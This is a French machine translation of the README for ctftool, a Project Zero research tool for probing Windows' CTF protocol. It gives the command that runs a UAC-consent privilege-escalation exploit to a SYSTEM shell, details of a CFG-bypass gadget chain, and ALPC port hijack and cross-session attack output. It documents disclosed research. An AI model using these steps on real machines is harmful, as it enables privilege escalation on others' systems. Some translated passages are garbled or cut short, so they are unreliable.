Vous voulez juste tester l'exploit du système? Cliquez ici.

Il s'agit ctftool , un outil de ligne de commande interactif pour expérimenter CTF, un protocole peu connu utilisé sur Windows pour implémenter les services de texte. Cela peut être utile pour étudier les internes de Windows, déboguer les problèmes complexes avec les processeurs d'entrée de texte et analyser la sécurité de Windows.
Il est possible d'écrire des scripts simples avec ctftool pour automatiser l'interaction avec les clients ou les serveurs CTF, ou d'effectuer une simple fuzzing.
Il existe un article de blog qui accompagne la version de cet outil disponible ici.
https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
ctftool a été testé sur Windows 7, Windows 8 et Windows 10. Les versions 32 bits et x64 sont prises en charge, mais X64 a été testé plus largement.
Il y a une aide en ligne pour la plupart des commandes, tapez simplement help pour voir une liste de commandes et help <command> pour voir une aide détaillée pour une commande particulière.
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
La première chose que vous voudrez faire est de vous connecter à une session et de voir quels clients sont connectés.
ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF [email protected], Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
Vous pouvez ensuite expérimenter en envoyant et en recevant des commandes au serveur ou à l'un des clients connectés.
Si vous ne voulez pas le construire vous-même, consultez l'onglet des versions
J'ai utilisé GNU Make et Visual Studio 2019 pour développer ctftool . Seules les versions de 32 bits sont prises en charge, car cela permet à l'outil d'exécuter des fenêtres x86 et x64.
Si toutes les dépendances sont installées, il suffit de make dans une invite de commande de développeur.
J'utilise la variante "Build Tools" de Visual Studio, et les seuls composants que j'ai sélectionnés sont MSVC, MSBUILD, CMake et le SDK.
Ce projet utilise des sous-modules pour certaines des dépendances, assurez-vous que vous utilisez une commande comme celle-ci pour récupérer tout le code requis.
git submodule update --init --recursive
Les exemples ne fonctionnent que sur Windows 10 x64. Toutes les plates-formes et versions depuis Windows XP sont affectées, mais aucun POC n'est actuellement implémenté.
Cet outil a été utilisé pour découvrir de nombreux problèmes de sécurité critiques avec le protocole CTF qui existe depuis des décennies.
Si vous souhaitez simplement tester un exploit sur Windows 10 x64 1903, exécutez ou double-cliquez sur ctftool.exe et entrez cette commande:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf
Cela attendra que la boîte de dialogue UAC apparaît, le comprometra et commencera un shell.
En fait, le code d'exploit est divisé en deux étapes que vous pouvez utiliser indépendamment. Par exemple, vous pouvez compromettre un processus appartenant à un utilisateur sur une autre session en utilisant les paramètres facultatifs pour connect .
La plupart des clients CTF peuvent être compromis, car les applications du noyau forces qui dessinent Windows pour charger la bibliothèque vulnérable.
Connectez-vous simplement à une session, sélectionnez un client pour faire des compromis (utilisez les commandes scan et thread , ou simplement wait ), puis:
ctf> script .scriptsctf-exploit-common-win10.ctf
La construction d'une chaîne de saut CFG qui a fonctionné sur la majorité des clients CTF a été assez difficile. Il y a deux composants principaux dans l'exploit final, une primitive d'écriture arbitraire, puis configurer nos registres pour appeler LoadLibrary() .
Vous pouvez utiliser
dumpbin /headers /loadconfigpour vider les cibles de la branche de liste blanche.
J'ai besoin d'un gadget d'écriture arbitraire pour créer des objets dans un emplacement prévisible. Le meilleur gadget utilisable que j'ai pu trouver était une décrémentation arbitraire DWORD dans msvcrt!_init_time .
Cela signifie plutôt que de simplement définir les valeurs que nous voulons, nous devons continuer à décrémenter jusqu'à ce que le LSB atteigne la valeur que nous voulons. C'est beaucoup de travail, mais nous n'avons jamais à faire plus de (2^8 - 1) * len diminuant.

En utilisant cette primitive, je construis un objet comme celui-ci dans un espace lâche inutilisé dans la section Kernel32 .data . Il doit faire partie d'une image afin que je puisse prédire où il sera cartographié, car la randomisation d'image est par boot sur Windows.

Il y avait (bien sûr) beaucoup de gadgets d'écriture arbitraires, le problème était de reprendre le contrôle de l'exécution après l'écriture. Cela s'est avéré assez difficile, et c'est la raison pour laquelle j'ai été coincé avec une décrémentation DWORD au lieu de quelque chose de plus simple.
MSCTF attrape toutes les exceptions, donc le défi a été de trouver une écriture arbitraire qui n'a pas gâché la pile afin que Seh ait survécu, ou se soit écrasé très rapidement sans causer de dégâts.
Le gadget msvcrt!_init_time était le meilleur que j'ai pu trouver, dans quelques instructions, il déréférence nuls sans corrompre plus de mémoire. Cela signifie que nous pouvons le répéter à l'infini.
J'ai trouvé deux gadgets utiles pour ajuster les registres, le premier était:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
Et le second était:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
En combinant ces deux gadgets avec l'objet que nous avons formé avec notre gadget d'écriture, nous pouvons rediriger l'exécution vers kernel32!LoadLibraryA en rebondissant entre eux.
C'était compliqué, mais la séquence de saut fonctionne comme ceci:

Si vous êtes intéressé, je vous recommande de le regarder dans un débogueur. Notez que vous devrez utiliser la commande sxd av et sxd bpe ou le débogueur s'arrêtera pour chaque écriture!
Outre la corruption de la mémoire, une classe de vulnérabilité majeure exposée par CTF est des attaques de session modifiées . Normalement, un processus improvisé (par exemple, une faible intégrité) ne serait pas autorisé à envoyer des données ou de lire des données à partir d'un processus privilégié élevé. Cette limite de sécurité est appelée UIPI, l'isolement de privilège de l'interface utilisateur .
CTF rompt ces hypothèses et permet aux processus imprimés d'envoyer des entrées aux processus privilégiés.
Il existe des exigences pour que cette attaque fonctionne, en ce qui concerne, elle ne fonctionnera que si un langage d'affichage installé qui utilise un processeur d'entrée de texte hors processus . Les utilisateurs avec des langages d'entrée qui utilisent les IME (chinois, japonais, coréenne, etc.) et les utilisateurs avec des outils A11Y entrent dans cette catégorie.
Les exemples d'attaques incluent ...
Il existe un exemple de script dans le répertoire des scripts qui enverra l'entrée à une fenêtre de bloc-notes pour montrer comment fonctionnent les sessions de modification.

Parce qu'il n'y a pas d'authentification impliquée entre les clients et les serveurs du protocole CTF, un attaquant avec les privilèges nécessaires à écrire à BaseNamedObjects peut créer le port ALPC CTF et faire semblant d'être le moniteur.
Cela permet de contourner toutes les restrictions appliquées par le moniteur.
Si vous souhaitez expérimenter cette attaque, essayez la commande hijack dans ctftool .
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
Il n'y a pas d'isolement de session dans le protocole CTF, tout processus peut se connecter à n'importe quel serveur CTF. Par exemple, un utilisateur de services terminaux peut interagir avec les processus de tout autre utilisateur, même l'administrateur.
La commande connect dans ctftool prend en charge la connexion aux séances non défaut si vous souhaitez expérimenter cette attaque.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
Au moment de la rédaction du moment de la rédaction, on ne sait pas comment Microsoft modifiera le protocole CTF en réponse aux nombreux défauts de conception que ce outil a contribué à exposer.
Pour cette raison, considérez cet outil comme un état de preuve de concept.
Toutes les versions de Windows depuis Windows XP utilisent CTF, sur toutes les plates-formes prises en charge.
Bien qu'il ne fasse pas partie du système de base avant XP, les versions dès Windows 98 et NT4 utiliseraient CTF si vous installiez Microsoft Office.
ctftool prend en charge Windows 7 et plus tard x86 et x64, mais des versions antérieures et autres plates-formes pourraient être prises en charge, et les contributions seraient appréciées.
Microsoft ne documente pas ce que CTF signifie, il n'est expliqué dans aucune documentation des services texte, des échantillons SDK, des noms de symboles, des fichiers d'en-tête ou ailleurs. Ma théorie est que c'est de CTextFramework , comment vous pourriez nommer la classe en notation hongroise.
Certains sites Web affirment que
ctfmona quelque chose à voir avec des polices de type clair ou le cadre de traduction collaborative Azure. Ils se trompent.
MISE À JOUR: Jake Nelson trouve des preuves de "Framework de texte commun"
Tavis ormandy [email protected]
Tout le code d'origine est Apache 2.0, voir le fichier de licence pour plus de détails.
Les composants suivants sont des projets tiers importés.
GetProcAddress() pour les modules 64 bits d'un processus 32 bits. Ceci est utilisé dans la commande symbol et permet au même binaire de travailler sur x64 et x86.